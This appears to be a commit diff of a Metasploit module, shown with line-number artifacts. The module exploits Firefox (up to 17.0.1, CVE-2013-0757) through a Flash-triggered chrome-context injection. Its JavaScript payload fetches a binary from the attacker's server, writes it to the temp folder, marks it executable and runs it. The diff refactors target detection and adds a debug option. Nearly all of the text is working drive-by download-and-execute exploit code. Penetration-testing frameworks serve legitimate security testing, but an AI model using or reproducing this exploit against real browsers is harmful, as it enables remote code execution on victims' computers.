10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
Rank = ExcellentRanking
12
12
13
- #
14
- # This module acts as an HTTP server
15
- #
16
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
17
14
include Msf ::Exploit ::EXE
18
- include Msf ::Exploit ::Remote ::BrowserAutopwn
19
-
20
- autopwn_info ( {
21
- :ua_name => HttpClients ::FF ,
22
- :ua_maxver => '17.0.1' ,
23
- :javascript => true ,
24
- :rank => ExcellentRanking , # 100% reliable cmd exec
25
- :vuln_test => %Q{
26
- is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"];
27
- }
28
- } )
29
15
30
16
def initialize ( info = { } )
31
17
super ( update_info ( info ,
@@ -40,32 +26,24 @@ def initialize(info = {})
40
26
41
27
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
42
28
around the child frame's window reference and inject code into the chrome://
43
- context.
44
-
45
- Once we have injection into the chrome execution context, we can write our
46
- payload to disk, chmod it (if posix), and then execute.
29
+ context. Once we have injection into the chrome execution context, we can write
30
+ the payload to disk, chmod it (if posix), and then execute.
47
31
48
32
Note: Flash is used here to trigger the exploit but any Firefox plugin
49
33
with script access should be able to trigger it.
50
34
} ,
51
35
'License' => MSF_LICENSE ,
52
36
'Targets' => [
53
- [ 'Automatic' ,
54
- {
55
- 'Platform' => [ 'win' , 'osx' , 'linux' ] ,
56
- 'Arch' => ARCH_X86
57
- }
58
- ] ,
59
37
[ 'Windows x86 (Native Payload)' ,
60
38
{
61
39
'Platform' => 'win' ,
62
- 'Arch' => ARCH_X86 ,
40
+ 'Arch' => ARCH_X86
63
41
}
64
42
] ,
65
43
[ 'Linux x86 (Native Payload)' ,
66
44
{
67
45
'Platform' => 'linux' ,
68
- 'Arch' => ARCH_X86 ,
46
+ 'Arch' => ARCH_X86
69
47
}
70
48
] ,
71
49
[ 'Mac OS X x86 (Native Payload)' ,
@@ -80,7 +58,6 @@ def initialize(info = {})
80
58
[
81
59
'Marius Mlynski' , # discovery & bug report
82
60
'joev' # metasploit module
83
-
84
61
] ,
85
62
'References' =>
86
63
[
@@ -94,15 +71,14 @@ def initialize(info = {})
94
71
95
72
register_options (
96
73
[
97
- OptString . new ( 'CONTENT' , [ false , "Content to display inside the HTML <body>." , '' ] )
74
+ OptString . new ( 'CONTENT' , [ false , "Content to display inside the HTML <body>." , '' ] ) ,
75
+ OptBool . new ( 'DEBUG' , [ false , "Display some alert()'s for debugging the payload." , false ] )
98
76
] , Auxiliary ::Timed )
99
77
100
78
end
101
79
102
80
def on_request_uri ( cli , request )
103
- my_target = get_target ( request . headers [ 'User-Agent' ] )
104
-
105
- if my_target . nil?
81
+ if target != get_target ( request . headers [ 'User-Agent' ] )
106
82
print_status ( "User agent does not match an available payload type, bailing." )
107
83
send_not_found ( cli )
108
84
return
@@ -115,7 +91,7 @@ def on_request_uri(cli, request)
115
91
elsif request . uri =~ /\. bin/
116
92
# send the binary payload to drop & exec
117
93
print_status ( "Child frame navigated. Sending binary payload to drop & execute." )
118
- send_response ( cli , dropped_file_contents ( cli , my_target ) , { 'Content-Type' => 'application/octet-stream' } )
94
+ send_response ( cli , dropped_file_contents ( cli ) , { 'Content-Type' => 'application/octet-stream' } )
119
95
else
120
96
# send initial HTML page
121
97
print_status ( "Sending #{ self . name } " )
@@ -124,29 +100,27 @@ def on_request_uri(cli, request)
124
100
handler ( cli )
125
101
end
126
102
127
- def dropped_file_contents ( cli , my_target )
128
- p = regenerate_payload ( cli , my_target . arch , my_target . platform , my_target ) . encoded_exe
129
- puts "PAYLOAD"
130
- puts my_target . name
131
- puts my_target . platform . names
132
- puts my_target . arch
133
- puts my_target == target
134
- p
103
+ def dropped_file_contents ( cli )
104
+ regenerate_payload ( cli ) . encoded_exe ( )
135
105
end
136
106
137
107
def get_target ( agent )
138
- return target if target . name != 'Automatic'
108
+ # browser detection
109
+ if agent !~ /firefox/i
110
+ return nil
111
+ end
112
+ # os detection
139
113
if agent =~ /windows/i
140
114
print_status 'Windows detected.'
141
- return targets [ 1 ]
115
+ targets [ 0 ]
142
116
elsif agent =~ /linux/i
143
117
print_status 'Linux detected.'
144
- return targets [ 2 ]
118
+ targets [ 1 ]
145
119
elsif agent =~ /macintosh/i and agent =~ /intel/i
146
120
print_status 'OSX detected.'
147
- return targets [ 3 ]
121
+ targets [ 2 ]
148
122
else
149
- return target
123
+ nil
150
124
end
151
125
end
152
126
@@ -164,14 +138,13 @@ def payload_filename
164
138
end
165
139
166
140
def js_payload
167
- #'alert(Components.stack)'
168
141
%Q|
169
- alert(1)
142
+ #{ js_debug ( "Injection successful. JS executing with chrome privileges." ) }
170
143
var x = new XMLHttpRequest;
171
144
x.overrideMimeType('text/plain; charset=x-user-defined');
172
145
x.open('POST', '#{ base_url } .bin', false);
173
146
x.send(null);
174
- alert( x.responseText);
147
+ #{ js_debug ( "'Payload: '+ x.responseText" , "" ) }
175
148
var file = Components.classes["@mozilla.org/file/directory_service;1"]
176
149
.getService(Components.interfaces.nsIProperties)
177
150
.get("TmpD", Components.interfaces.nsIFile);
@@ -186,14 +159,18 @@ def js_payload
186
159
stream.close();
187
160
}
188
161
#{ chmod_code }
189
- alert( file.path);
162
+ #{ js_debug ( "'Downloaded to: '+ file.path" , "" ) }
190
163
var process = Components.classes["@mozilla.org/process/util;1"]
191
164
.createInstance(Components.interfaces.nsIProcess);
192
165
process.init(file);
193
- process.run(false,[],0);
166
+ process.run(false, [], 0);
194
167
|
195
168
end
196
169
170
+ def js_debug ( str , quote = "'" )
171
+ if datastore [ 'DEBUG' ] then "alert(#{ quote } #{ str } #{ quote } )" else '' end
172
+ end
173
+
197
174
def chmod_code
198
175
return '' if target . name == 'Windows x86 (Native Payload)'
199
176
%Q|
@@ -208,7 +185,8 @@ def chmod_code
208
185
# @return [String] URL for sending requests back to the module
209
186
def base_url
210
187
proto = ( datastore [ "SSL" ] ? "https" : "http" )
211
- "#{ proto } ://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
188
+ myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
189
+ "#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
212
190
end
213
191
214
192
def generate_html
0 commit comments